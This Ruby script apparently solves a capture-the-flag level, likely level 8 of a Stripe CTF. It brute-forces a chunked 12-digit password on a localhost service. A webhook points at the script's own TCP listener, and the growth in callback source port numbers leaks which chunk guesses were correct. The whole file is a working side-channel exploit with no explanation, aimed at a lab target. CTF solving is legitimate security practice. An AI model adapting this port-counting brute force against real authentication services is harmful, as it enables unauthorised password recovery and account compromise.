level8.rb

require 'rubygems'
require 'net/http/persistent'
require 'pp'
require 'set'

$endpoint = URI.parse('http://localhost:7777/')

$tcpserver = TCPServer.new(44231)
candidates = {}

def guess_chunk(password, pos_missing, accuracy=6)
  http = Net::HTTP::Persistent.new('crack')
  prevport = 0
  initial_set = ('000'..'999').to_a
  results = accuracy.times.inject(initial_set) do |prev_candidates, i|
    candidates = Set[]
    prev_candidates.each do |chunk|
      password_dup = password.dup
      password_dup[pos_missing] = chunk
      password_guess = password_dup.join

      post = Net::HTTP::Post.new($endpoint.path)
      post.body = "{\"password\":\"#{password_guess}\",\"webhooks\":[\"localhost:44231\"]}"
      response = http.request($endpoint, post)
      
      socket = $tcpserver.accept
      port = socket.peeraddr[1]
      if port - prevport > 2 + pos_missing
        candidates << chunk
      end
      socket.close
      prevport = port

      if /true/ =~ response.body
        return [password_guess]
      end
    end
    pp candidates
    prev_candidates.to_set & candidates
  end
  http.shutdown
  results.map do |chunk|
    password_dup = password.dup
    password_dup[pos_missing] = chunk
    password_dup
  end
end

guesses = { -1 => [['000', '000', '000', '000']]}
4.times do |i|
  guesses[i] = guesses[i - 1].inject([]) do |list, candidate|
    list += guess_chunk(candidate, i)
    list
  end
  pp guesses
end